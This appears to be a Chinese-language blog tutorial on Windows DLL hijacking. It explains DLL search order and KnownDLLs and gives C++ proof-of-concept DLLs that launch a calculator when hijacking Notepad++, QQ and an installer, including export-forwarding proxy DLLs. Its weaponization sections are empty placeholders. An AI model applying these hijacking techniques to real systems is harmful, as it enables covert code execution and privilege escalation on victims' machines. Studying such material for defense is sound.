DLL劫持基础及红队武器化

什么是DLL

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。

DLL加载顺序

一、Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序:

  1. 进程对应的应用程序所在目录;
  2. 当前目录(Current Directory);
  3. 系统目录(通过 GetSystemDirectory 获取);
  4. 16位系统目录;
  5. Windows目录(通过 GetWindowsDirectory 获取);
  6. PATH环境变量中的各个目录;

例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

二、在Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

三、Windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20220228164016478

那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);

  2. 系统目录(即%windir%system32);

  3. 16位系统目录(即%windir%system);

  4. Windows目录(即%windir%);

  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);

  6. PATH环境变量中的各个目录

    image-20220228164254582

DLL正常调用demo

DLLdemo

vs2019新建动态链接库模板项目

项目结构如下

image-20220228164734371

在dllmain.cpp中添加如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}


该dll的作用是在进程调用该dll时执行计算器

添加头文件test.h

1
2
3
#pragma once
#include <windows.h>
extern "C" _declspec(dllexport) void msg(void);

__declspec(dllexport)用于Windows中的动态库中,声明导出函数msg供其它程序调用

添加cpp文件实现msg方法

1
2
3
4
5
6
#include "pch.h"
#include "test.h"
#include <windows.h>
void msg() {
MessageBox(0, L"This is msg function:-)", 0, 0);
}

调用demo

新建一个控制台项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{ //定义函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
//指定需要加载的dll文件
HINSTANCE hinst = LoadLibrary(L"hijack.dll");//加载dll文件

if (hinst != NULL) {
//获取函数的位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//获取dll中的方法
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();//调用dll中的方法
}
else {
MessageBox(0, L"Error!", 0, 0);
exit(0);
}
printf("end");
}

将consoleapplication 与dll文件放在同一目录,运行exe

image-20220228165110704

可以看到,根据代码逻辑调用了dll文件,弹出了计算器并且成功调用了msg方法

image-20220228165149367

什么是DLL劫持

由上述的DLL加载顺序得知,如果某个程序需要的dll文件在程序根目录不存在,会继续向后寻找dll文件,那么我们手动编写一个dll文件至程序根目录并且将dll名称改为程序需要的那个缺少的dll文件,根据加载顺序会优先加载我们编写的dll文件,实现dll劫持的效果。dll劫持的目的是替换/劫持/新增 恶意dll文件实现代码执行。

由此可以引出几种dll劫持的形式:

  1. 直接将恶意dll暴力替换掉正常dll,软件正常功能会受影响
  2. 将恶意dll作为中间人,转发调用正常dll的导出函数,同时加入额外的恶意操作
  3. 利用加载顺序的机制,让恶意dll先于正常dll加载
  4. 利用软件本身缺失的dll加载恶意dll
  5. 更改环境变量或是.exe.manifest/.exe.local文件实现dll重定向
  6. 如果利用低权限劫持的dll文件,会被高权限程序加载运行,就是一个权限提升漏洞

DLL劫持实例

劫持Notepad++不存在的DLL

一般可以使用processmonitor、process explorer查找可能存在dll劫持的进程

使用process monitor查找与notepad++相关的进程,注:notepad++不要用最新版,最新版修复了劫持漏洞,这里用的是6.6.6版本。

这里打开过后设置几个过滤条件,分别是进程名、路径以及结果

image-20220228170217568

然后这里找一个需要用到loadlibrary这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。

image-20220228170242843

可以看到,Msimg32.dll文件是程序运行需要但是没找到的,所以我们可以写一个Msimg32.dll文件放到程序根目录实现动态恶意dll加载。

将刚才的dll hijack demo生成的dll文件放到notepad++的根目录并改名为Msimg32.dll,当再次打开notepad++.exe时即可完成劫持

image-20220228170823499

image-20220228170839113

劫持Notepad++中存在的DLL

将procmon中NOT FOUND 的条件改为SUCCESS

image-20220228172005462

image-20220228172024684

发现存在loadLibraryEx,尝试劫持该dll

使用工具CFF explorer查看该DLL的输出函数,输出函数是可以被外部访问的,就像刚才写的demo一样

image-20220228172552154

编写dll文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
system("calc.exe");
}

生成DLL改名为SciLexer.dll并放到notepad++根目录并尝试运行

image-20220228172839478

发现报错了,感觉是dll中有些内容是必须实现的,但是我们不知道其内容是什么,所以考虑其他方法劫持该dll

下面使用dll转发的方式劫持该dll

dll文件代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# include "pch.h"
# include <stdlib.h>

extern "C" __declspec(dllexport) void Scintilla_DirectFunction();

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

void Scintilla_DirectFunction()
{
HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
if (hDll)

{
//typedef 是定义了一个新的类型
//DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD
//定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}

}
return;
}

将原始dll文件SciLexer.dll改名为SciLexer_re.dll,将该文件改名为SciLexer.dll并放到notepad++.exe的目录下,该dll起了转发的作用,调用顺序为exe->SciLexer.dll->SciLexer_re.dll

需要注意的是,本次测试环境vs2019配置release x86生成的dll才能正常运行,猜测notepad++为32位。

image-20220228214429289

运行notepad.exe即可弹出计算器,但是无法正常运行notepad.exe

image-20220228214502134

直接转发劫持QQ

这里还是使用导入表进行劫持,首先用cff(下载地址:[https://ntcore.com/files/CFF_Explorer.zip]) 打开QQ.exe的导入表,找一个不在HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session) Manager\KnownDLLs路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。这里我选择的是libuv.dll进行劫持

image-20220228213308186

使用aheadlib生成cpp文件并放到vscode的dll项目中,代码如下,记住libuvOrg这个名字,后面要用。

image-20220228213801554

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 头文件
#include <Windows.h>
#include<stdlib.h>
// 导出函数
#pragma comment(linker, "/EXPORT:uv_accept=libuvOrg.uv_accept,@1")
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
#pragma comment(linker, "/EXPORT:uv_accept=libuvOrg.uv_accept,@1")
//代码很长,我去了大部分#pragma comment(linker, "/EXPORT:uv_accept=libuvOrg.uv_accept,@1")形式的自动生成的代码

}
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
system("calc");
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}

采用release x86编译生成dll文件,将生成的dll文件命名位libuv.dll并放到原dll目录下,将原dll文件命名为libuvOrg.dll,双击qq.exe即可弹出计算器

image-20220228213922826

image-20220228214207103

即时调用劫持QQ

todo,一直报错,麻了。

劫持不存在的dll–音速启动

音速启动V5安装程序,打开procmon过滤进程名和NAME NOT FOUND:

image-20220301202140714

发现音速启动在当前安装目录尝试加载DLL,打开一些NOT FOUND 的dll调用栈看一下

image-20220301202437109

尝试劫持,将上文生成的dll hijack demo改名为SHFOLDER.dll并放至与安装文件同目录

再次运行安装文件,即可弹出计算器

image-20220301202529573

自动化DLL劫持检测工具–Rattler

github地址:https://github.com/sensepost/rattler/releases/tag/v1.0

使用时需要注意,要根据程序是64位还是32位选择Rattler版本,否则识别失败。

image-20220301221252204

使用Rattler建议的DLL文件尝试劫持

image-20220301221509251

将生成的CRYPTBASE.DLL放到应用根目录,可以看到成功弹出了计算器

image-20220301221540672

image-20220301221608661

红队武器化

todo,https://www.anquanke.com/post/id/232891

白加黑免杀实现

权限维持实现

DLL劫持防御及实例

参考链接

https://www.anquanke.com/post/id/232891

https://skewwg.github.io/2020/11/26/diao-yu-yu-she-gong-xi-lie-zhi-dll-jie-chi/

https://drunkmars.top/2021/10/03/dll%E5%8A%AB%E6%8C%81/